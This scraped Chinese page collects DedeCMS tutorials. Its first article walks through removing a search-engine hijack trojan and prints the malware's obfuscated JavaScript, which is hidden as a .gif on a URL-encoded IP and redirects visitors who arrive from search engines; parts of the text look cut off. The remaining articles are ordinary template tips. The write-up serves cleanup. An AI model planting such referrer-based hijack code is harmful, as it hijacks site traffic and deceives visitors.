www.91084.com

GVKun编程网logo

dedecms织梦清除快照劫持木马

21

以上就是给各位分享dedecms织梦清除快照劫持木马,同时本文还将给你拓展DedeCMS织梦dede:channel里面调用文章列表、dedecms织梦dede:channel里面调用新闻列表、DED

以上就是给各位分享dedecms织梦清除快照劫持木马,同时本文还将给你拓展DedeCMS织梦dede:channel里面调用文章列表、dedecms织梦dede:channel里面调用新闻列表、DEDECMS织梦dede:freelist标签增加排序方式、dedecms织梦{dede:loop}标签调用文章链接的方法等相关知识,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

dedecms织梦清除快照劫持木马

dedecms织梦清除快照劫持木马

 

做dedecms的人都知道,这个是一个自定义标签的调用方式,其模板在:/include/taglib/dinfo.lib.php里面。于是打开这个文件,看到如下代码:

[代码]php代码:

>dede>>

系统默认标签

全局标记

V55,V56,V57

系统默认标签

{dede:dinfo /}

>>dede>>*/

function lib_dinfo()

{

global $dsql,$envs;

$revalue = '';

return $revalue;

}

刚开始也没有看出什么问题,就是一段js代码,然后引用了一个图片,不过访问下这个图片地址就知道了,在浏览器中输入这个地址:%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif

能看到如下代码:

[代码]js代码:

GID89a="";

var s=document.referrer;

var str=window.location.href;

if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )

window.location.href="?cpy="+str+"&kecy="+s;

如何样,看出问题来了吧?

简单解说一下:

[代码]js代码:

if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )

这里就是判断来路,如果来源是:谷歌、baidu、yahoo、sogou、bing、360、soso、youdao,就跳转到下面这个地址:

[代码]js代码:

?cpy="+str+"&kecy="+s;

本文章网址:http://www.ppssdd.com/code/12165.html。转载请保留出处,谢谢合作!

DedeCMS织梦dede:channel里面调用文章列表

DedeCMS织梦dede:channel里面调用文章列表

下面是小编 jb51.cc 通过网络收集整理的代码片段。小编小编现在分享给大家,也给大家做个参考。

开发织梦模板的时候,在调用 dede:channel 标签时,需要将栏目中调用栏目下文章,创客云做了一下二次开发,让 channel 标签支持文章的调用:

{dede:channel type='son' noself='yes'}

[field:id runPHP=yes]

global $dsql;

$sql = "SELECT arc.* FROM `mydiy_archives` arc where arc.arcrank>-1 AND arc.typeid = @me ORDER BY arc.id desc limit 10";

$dsql->SetQuery($sql);

$dsql->Execute('t');

$result = '';

while($row = $dsql->GetArray('t'))

{

$arcurl = GetoneArchive($row['id']);

$pubdate = MyDate('m-d',$row['pubdate']);

$result .= <<< TPL

<div><div><div><img src="{$row['litpic']}" /></div><a href="{$arcurl['arcurl']}"><div>{$row['title']}</div></a><div>{$row['description']}</div></div></div>

TPL;

}

@me = $result;

[/field:id]

{/dede:channel}

以上是小编(jb51.cc)为你收集整理的全部代码内容,希望文章能够帮你解决所遇到的程序开发问题。如果觉得小编网站内容还不错,欢迎将小编网站推荐给程序员好友。

dedecms织梦dede:channel里面调用新闻列表

dedecms织梦dede:channel里面调用新闻列表

 

{dede:channel type='son' noself='yes'} [field:id runphp=yes] global $dsql; $sql = "SELECT arc.* FROM `mydiy_archives` arc where arc.arcrank>-1 AND arc.typeid = @me ORDER BY arc.id desc limit 10"; $dsql->SetQuery($sql); $dsql->Execute('t'); $result = ''; while($row = $dsql->GetArray('t')) { $arcurl = GetOneArchive($row['id']); $pubdate = MyDate('m-d',$row['pubdate']); $result .= <<< TPL <dt><a href="{$arcurl['arcurl']}"><span>{$row['title']}</span><span>{$pubdate}</span></a></dt> TPL; } @me = $result; [/field:id] {/dede:channel}  

本文章网址:http://www.ppssdd.com/code/10558.html。转载请保留出处,谢谢合作!

DEDECMS织梦dede:freelist标签增加排序方式

DEDECMS织梦dede:freelist标签增加排序方式

 

比如我所需要用到 随机排序”rank“和按得分排序”scores“这里就没有。当然这两个排序织梦DEDECMS是有的只是没有列出来,这样就简单了。

找到打开 dede/templets/freelist_add.htm ”添加自由列表源码“。

找到

<td height=”28″ align=”left”>排列顺序:

在这一行下面插入以下代码并保存:

<option value=”rand”>随机推荐</option>

<option value=”scores”>按照得分</option>

再找到打开 dede/templets/freelist_edit.htm ”修改自由列表源码“。

找到

$orderby = $ctag->GetAtt(‘orderby’);下面参数改为以下。

$sorta = “sortrank,置顶权限值;pubdate,发布时间;senddate,录入时间;click,点击量;id,文档ID,lastpost,Z后评论时间;postnum,评论总数;rand,随机推荐;scores,按照得分”;

再找到

<select name=”orderby” id=”orderby” style=”width:120″>

下面插入

<option value=”rand”>随机推荐</option>

<option value=”scores”>按照得分</option>

保存,退出,验证。

ok是不是很简单。。。

本文章网址:http://www.ppssdd.com/code/26925.html。转载请保留出处,谢谢合作!

dedecms织梦{dede:loop}标签调用文章链接的方法

dedecms织梦{dede:loop}标签调用文章链接的方法

 
{dede:loop}{/dede:loop}
全局标记
 
调用任意表的数据标签
 
基本语法
{dede:loop table='dede_archives' sort='' row='4' if=''}
<a href='[field:arcurl/]'>[field:title/]</a>
{/dede:loop}
 
标签属性
table:查询表名
sort:用于排序的字段
row:返回结果的条数
if:查询的条件
 
经过测试使用,在手册中的基本语法中的[field:arcurl/]无法使用,本文将讲解如何解决此问题。
 
1、打开 include/common.func.php 文件,在此文件*后添加一个函数,代码如下:
 
function IDReturnURL($ID)
{
global $dsql;
$query = "Select arc.*,tp.typedir,tp.typename,tp.corank,tp.isdefault,
tp.defaultname,tp.namerule,tp.moresite,tp.siteurl,tp.sitepath
from dede_archives arc left join dede_arctype tp on arc.typeid=tp.id where arc.id = ".$ID;
$row = $dsql->GetOne($query);
$ReturnURL = GetFileUrl($row['id'],$row['typeid'],$row['senddate'],$row['title'],$row['ismake'],$row['arcrank'],$row['namerule'],$row['typedir'],$row['money'],$row['filename'],$row['moresite'],$row['siteurl'],$row['sitepath']);
return $ReturnURL;
}
 
2、dedecms模板中调用代码:
 
{dede:loop table='dede_archives' sort='' row='4' if=''}
<li><a href='[field:id function=IDReturnURL(@me)/]'>[field:title function=cn_substrR(@me,44)/]</a></li>
{/dede:loop}
 
如果是在自定义sql标签里调用,则调用代码如下:
 
[field:id runphp='yes']$arcRow=GetOneArchive(@me);@me=$arcRow['arcurl'];[/field:id]
本文章网址:http://www.ppssdd.com/code/903.html。转载请保留出处,谢谢合作!

我们今天的关于dedecms织梦清除快照劫持木马的分享已经告一段落,感谢您的关注,如果您想了解更多关于DedeCMS织梦dede:channel里面调用文章列表、dedecms织梦dede:channel里面调用新闻列表、DEDECMS织梦dede:freelist标签增加排序方式、dedecms织梦{dede:loop}标签调用文章链接的方法的相关信息,请在本站查询。

本文标签: